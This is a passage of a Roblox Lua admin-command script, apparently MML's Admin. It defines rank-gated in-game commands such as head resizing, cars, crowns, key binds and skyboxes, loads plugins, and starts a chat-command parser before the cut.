8328 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8329 end
8330 end};
8331
8332 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8333 if tonumber(Arguments[2]) then
8334 local Players = STRING:Scan(Arguments[1], Speaker)
8335 local Size = tonumber(Arguments[2])+25
8336 for _,Player in pairs(Players) do
8337 if Player.Character then
8338 if Player.Character:FindFirstChild("Head") then
8339 if Player.Character.Head:FindFirstChild("Mesh") then
8340 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8341 end
8342 end
8343 end
8344 end
8345 end
8346 end};
8347
8348 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8349 local Players = STRING:Scan(Arguments[1], Speaker)
8350 for _,Player in pairs(Players) do
8351 if Player.Character and Player.Character:FindFirstChild("Torso") then
8352 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8353 Player.Character.Parent = nil
8354 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8355 end
8356 end
8357 end};
8358
8359 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8360 GUI:SettingsGui(Speaker)
8361 end};
8362
8363 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8364 if tonumber(Arguments[2]) then
8365 local Players = STRING:Scan(Arguments[1], Speaker)
8366 local List = {}
8367 for _,Player in pairs(Players) do
8368 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8369 table.insert(List, Player.Name)
8370 end
8371 end
8372 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8373 end
8374 end};
8375
8376 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8377 local Players = STRING:Scan(Arguments[1], Speaker)
8378 for _,Player in pairs(Players) do
8379 if Player.Character and Player.Character:FindFirstChild("Head") then
8380 local Char = Player.Character
8381 Char:BreakJoints()
8382 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8383 Obj.Anchored = true
8384 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8385 local Decal = Instance.new("Decal", Obj)
8386 Decal.Texture = "rbxassetid://178913323"
8387 Decal.Face = Face
8388 end
8389 end)
8390 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8391 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8392 Sound1:Play() Sound2:Play()
8393 coroutine.wrap(function()
8394 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8395 repeat wait()
8396 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8397 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8398 Obj.Transparency = math.random(0,30)/100
8399 Obj.Reflectance = math.random(0,50)/100
8400 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8401 end)
8402 until Char ~= Player.Character or Char.Parent == nil
8403 end)()
8404 end
8405 end
8406 end, Hidden = true};
8407
8408 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8409 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8410 end, Http = true};
8411
8412 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8413 local Players = STRING:Scan(Arguments[1], Speaker)
8414 for _,Player in pairs(Players) do
8415 if Player.Character then
8416 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8417 Obj.Material = "Neon"
8418 end)
8419 end
8420 end
8421 end};
8422
8423 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8424 local Players = STRING:Scan(Arguments[1], Speaker)
8425 for _,Player in pairs(Players) do
8426 if Player.Character then
8427 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8428 Obj.Material = "Plastic"
8429 end)
8430 end
8431 end
8432 end};
8433
8434 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8435 local Players = STRING:Scan(Arguments[1], Speaker)
8436 for _,Player in pairs(Players) do
8437 if Player.Character then
8438 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8439 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8440 end)
8441 end
8442 end
8443 end, Hidden = true};
8444
8445 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8446 local Players = STRING:Scan(Arguments[1], Speaker)
8447 for _,Player in pairs(Players) do
8448 if Player.Character and Player.Character:FindFirstChild("Torso") then
8449 local Pos = Player.Character.Torso.Position
8450 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8451 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8452 if Answer == "Ok" then
8453 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8454 end
8455 end
8456 end
8457 end};
8458
8459 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8460 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8461 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8462 if PlayersFrom and PlayersTo then
8463 for _,PlayerFrom in pairs(PlayersFrom) do
8464 for _,PlayerTo in pairs(PlayersTo) do
8465 if PlayerFrom.Character and PlayerTo.Character then
8466 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8467 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8468 wait(5)
8469 Laser:Destroy()
8470 end)() end
8471 end
8472 end
8473 end
8474 end
8475 end};
8476
8477 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8478 local Players = STRING:Scan(Arguments[1], Speaker)
8479 for _,Player in pairs(Players) do
8480 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8481 Player.Character.Humanoid:Destroy()
8482 end
8483 end
8484 end};
8485
8486 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8487 if Plugins then
8488 local List = {}
8489 for _,Module in pairs(Plugins:GetChildren()) do
8490 if Module:IsA("ModuleScript") then
8491 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8492 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8493 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8494 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8495 end
8496 end
8497 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8498 else
8499 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8500 end
8501 end};
8502
8503 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8504 local Players = STRING:Scan(Arguments[1], Speaker)
8505 for _,Player in pairs(Players) do
8506 GUI:DetachChat(Player)
8507 end
8508 end};
8509
8510 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8511 GUI:DetachChat(Speaker)
8512 end};
8513
8514 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8515 local Players = STRING:Scan(Arguments[1], Speaker)
8516 for _,Player in pairs(Players) do
8517 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8518 local Dead = false
8519
8520 Player.Character.Humanoid.WalkSpeed = 1
8521 local Torso = Player.Character.Torso
8522 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8523 Truck:BreakJoints()
8524 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8525 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8526 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8527 Truck.Touched:connect(function(Part)
8528 if Dead == false then
8529 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8530 if TouchPlayer == Player then
8531 Dead = true
8532 Player.Character:BreakJoints()
8533 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8534 end
8535 end
8536 end)
8537 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8538 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8539 Delay(5, function()
8540 Truck:Destroy()
8541 if Player.Character:FindFirstChild("Humanoid") then
8542 Player.Character.Humanoid.WalkSpeed = 16
8543 end
8544 end)
8545 end
8546 end
8547 end};
8548
8549 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8550 local Joke = REMOTE:DownloadJoke(Speaker)
8551 local Players = STRING:Scan(Arguments[1], Speaker)
8552 for _,Player in pairs(Players) do
8553 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8554 end
8555 end, Http = true};
8556
8557 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8558 local Joke = REMOTE:DownloadJoke(Speaker)
8559 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8560 end, Http = true};
8561
8562 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8563 local Players = STRING:Scan(Arguments[1], Speaker)
8564 for _,Player in pairs(Players) do
8565 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8566 CORE:InvisiblePlayer(Player)
8567 local DogContainer = Instance.new("Model", Player.Character)
8568 DogContainer.Name = "Doge"
8569 local Dog = CORE:Insert(257489726, DogContainer, true)
8570 Dog.Head.Transparency = 0.99
8571 Dog.Name = Player.Name
8572 Dog:MoveTo(Player.Character.Torso.Position)
8573 local Weld = Instance.new("Weld", Dog.Torso)
8574 Weld.Part0 = Player.Character.Torso
8575 Weld.Part1 = Dog.Torso
8576 Weld.C0 = CFrame.new(0,-0.4,0)
8577 for _,Obj in pairs(Dog:GetChildren()) do
8578 if Obj:IsA("BasePart") then
8579 Obj.CanCollide = false
8580 end
8581 end
8582
8583 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8584 end
8585 end
8586 end};
8587
8588 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8589 local Key = string.lower(string.sub(Arguments[1],1,1))
8590 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8591 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8592 end};
8593
8594 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8595 local Key = string.lower(string.sub(Arguments[1],1,1))
8596 KeyBinds[Speaker.UserId][Key] = nil
8597 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8598 end};
8599
8600 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8601 KeyBinds[Speaker.UserId] = {}
8602 GUI:SendHint(Speaker, "Unbinded all keys")
8603 end};
8604
8605 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8606 local Players = STRING:Scan(Arguments[1], Speaker)
8607 local Key = string.lower(string.sub(Arguments[2],1,1))
8608 for _,Player in pairs(Players) do
8609 KeyBinds[Player.UserId][Key] = Arguments[3]
8610 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8611 end
8612 end};
8613
8614 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8615 local Players = STRING:Scan(Arguments[1], Speaker)
8616 local Key = string.lower(string.sub(Arguments[2],1,1))
8617 for _,Player in pairs(Players) do
8618 KeyBinds[Player.UserId][Key] = nil
8619 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8620 end
8621 end};
8622
8623 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8624 local Players = STRING:Scan(Arguments[1], Speaker)
8625 for _,Player in pairs(Players) do
8626 KeyBinds[Player.UserId] = {}
8627 GUI:SendHint(Player, "Unbinded all keys")
8628 end
8629 end};
8630
8631 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8632 local Players = STRING:Scan(Arguments[1], Speaker)
8633 local Binds = {}
8634 for _,Player in pairs(Players) do
8635 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8636 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8637 end
8638 end
8639 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8640 end};
8641
8642 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8643 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8644 local Players = STRING:Scan(ChatSplit[1], Speaker)
8645 for _,Player in pairs(Players) do
8646 if Crowns[Player.UserId] then
8647 Crowns[Player.UserId]:Destroy()
8648 Crowns[Player.UserId] = nil
8649 wait()
8650 end
8651 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8652 end
8653 end};
8654
8655 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8656 local Players = STRING:Scan(Arguments[1], Speaker)
8657 for _,Player in pairs(Players) do
8658 if Crowns[Player.UserId] then
8659 Crowns[Player.UserId]:Destroy()
8660 Crowns[Player.UserId] = nil
8661 end
8662 end
8663 end};
8664
8665 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8666 local MeshList = {}
8667 for MeshName,Data in pairs(Meshes) do
8668 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8669 end
8670 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8671 end};
8672
8673 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8674 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8675 end};
8676
8677 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8678 local Players = STRING:Scan(Arguments[1], Speaker)
8679 for _,Player in pairs(Players) do
8680 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8681 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8682 Player:ClearCharacterAppearance()
8683 CORE:GivePackage(Player, 41851073)
8684 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8685 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8686 end
8687 end
8688 end};
8689
8690 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8691 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8692 local Players = STRING:Scan(Arguments[1], Speaker)
8693 for _,Player in pairs(Players) do
8694 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8695 local Car = CORE:Insert(10479801, Server.Workspace, true)
8696 local Body = Car["Motor (torque)Chassis"].Part
8697 Cars[Player.UserId] = Car
8698 Car:MakeJoints()
8699 Car.VehicleSeat.MaxSpeed = 50
8700 Car.VehicleSeat.TurnSpeed = 1.5
8701 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8702 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8703 Body.Color = GUI:GetColor(Arguments[2])
8704 else
8705 Body.BrickColor = GUI:GetNameColor(Player.Name)
8706 end
8707 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8708 if Part.Name ~= "Part" then
8709 Part.BrickColor = BrickColor.new("Really black")
8710 Part.Friction = 0.7
8711 end
8712 end
8713 local Light = Instance.new("SpotLight", Body)
8714 Light.Face = "Back"
8715 Light.Brightness = 5
8716 Light.Range = 20
8717 Light.Color = Color3.new(0,1,1)
8718 if Player.Character and Player.Character.Torso then
8719 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8720 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8721 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8722 Weld.Part0 = Car.VehicleSeat
8723 Weld.Part1 = Player.Character.Torso
8724 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8725 Delay(0.4, function()
8726 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8727 wait(0.1)
8728 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8729 end)
8730 end
8731 local SoundID = 147944604
8732 if RANK:GetRank(Player) == "Owner" then
8733 SoundID = 133313356
8734 Car.VehicleSeat.MaxSpeed = 80
8735 Body.Material = "DiamondPlate"
8736 Car.VehicleSeat.Torque = 11
8737 end
8738 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8739 Engine:Play()
8740 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8741 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8742 end if Engine then Engine:Stop() end end)()
8743 end
8744 end};
8745
8746 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8747 local Players = STRING:Scan(Arguments[1], Speaker)
8748 for _,Player in pairs(Players) do
8749 if Cars[Player.UserId] then
8750 Cars[Player.UserId]:Destroy()
8751 end
8752 end
8753 end};
8754
8755 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8756 for _,Car in pairs(Cars) do
8757 Car:Destroy()
8758 end
8759 Cars = {}
8760 end};
8761
8762 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8763 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8764 if #Trello.RequiredLists > 0 then
8765 print("Restarting Trello")
8766 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8767 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8768 REMOTE:TrelloCacheData(Lists)
8769 end
8770 end, Http = true};
8771
8772 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8773 local Operations = {}
8774 for _,ReplaceData in pairs(StringReplacements) do
8775 local Replacement = ReplaceData[1]
8776 if type(Replacement) == "table" then
8777 Replacement = ReplaceData[1][1]
8778 end
8779 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8780 end
8781 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8782 end};
8783
8784 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8785 GUI:SoundInfo(Speaker)
8786 end};
8787
8788 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8789 local Players = STRING:Scan(Arguments[1], Speaker)
8790 for _,Player in pairs(Players) do
8791 GUI:SoundInfo(Player)
8792 end
8793 end};
8794
8795 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8796 if tonumber(Arguments[1]) then
8797 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8798 end
8799 end};
8800
8801 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8802 local Types = {}
8803 for Type,_ in pairs(Assets.AccessoryTypes) do
8804 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8805 end
8806 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8807 end};
8808
8809 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8810 local Sky = Server.Lighting:FindFirstChild("Sky")
8811 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8812 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8813 local Face = nil
8814 local SkyID = string.lower(Arguments[1])
8815 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8816 if #Arguments == 2 and tonumber(Arguments[2]) then
8817 Face = Arguments[1]
8818 SkyID = Arguments[2]
8819 end
8820 if tonumber(SkyID) then
8821 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8822 if Face and Faces[Face] then
8823 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8824 else
8825 for _,Face in pairs(Faces) do
8826 Sky[Face] = "rbxassetid://"..ImageID
8827 end
8828 end
8829 else
8830 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8831 end
8832 end};
8833
8834 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8835 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8836 Obj:Destroy()
8837 end)
8838 end};
8839 --
8840}
8841
8842if Plugins then
8843 local PluginNum = 0
8844 for _,Module in pairs(Plugins:GetChildren()) do
8845 if Module:IsA("ModuleScript") then
8846 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8847 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8848 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8849 if Enabled.Value == true then
8850 PluginNum = PluginNum + 1
8851 local PluginExe = require(Module)
8852 for Var,Val in pairs(getfenv()) do
8853 getfenv(PluginExe)[Var] = Val
8854 end
8855 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8856 getfenv(PluginExe).script = Module
8857 getfenv(PluginExe).Script = Module
8858 getfenv(PluginExe).Version = Version
8859 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8860 if not Suc then
8861 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8862 else
8863 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8864 end
8865 end
8866 end
8867 end
8868end
8869
8870function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8871 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8872 GUI:SettingsGui(Speaker)
8873 return nil
8874 end
8875 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8876 local Prefix = Settings.Prefix
8877 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8878 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8879 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8880 if Speaker == nil then
8881 if FakeRank then
8882 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8883 FakeRank = "Owner"
8884 end
8885 else
8886 FakeRank = "Owner"
8887 end
8888 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8889 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8890 Speaker = {
8891 Name = FakePlayerName or "[ Server ]";
8892 Character = nil;
8893 userId = 1;
8894 PlayerGui = nil;
8895 Rank = FakeRank or "Owner";
8896 MakeSupremeOwner = MakeSupremeOwner;
8897 }
8898 end
8899 local Rank = RANK:GetRank(Speaker)
8900 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8901
8902 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8903 if NoPrefixNeeded then Prefix = "" end
8904 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8905
8906 for _,Message in pairs(Messages) do
8907 for Cmds,Data in pairs(Commands) do -- check all commands
8908 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8909
8910 if not MessageSplit then break end
8911
8912 local CommandSaid = false
8913 for _,Command in pairs(Cmds) do
8914 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8915 CommandSaid = true
8916 break
8917 end
8918 end
8919 if CommandSaid == true then -- command said?
8920 local ExecuteExcuse = ""
8921 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8922 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8923 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8924 end
8925 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8926 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8927 end
8928 else
8929 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8930 end
8931 if ExecuteExcuse == "" then
8932 if #MessageSplit - 1 < Data[3] then
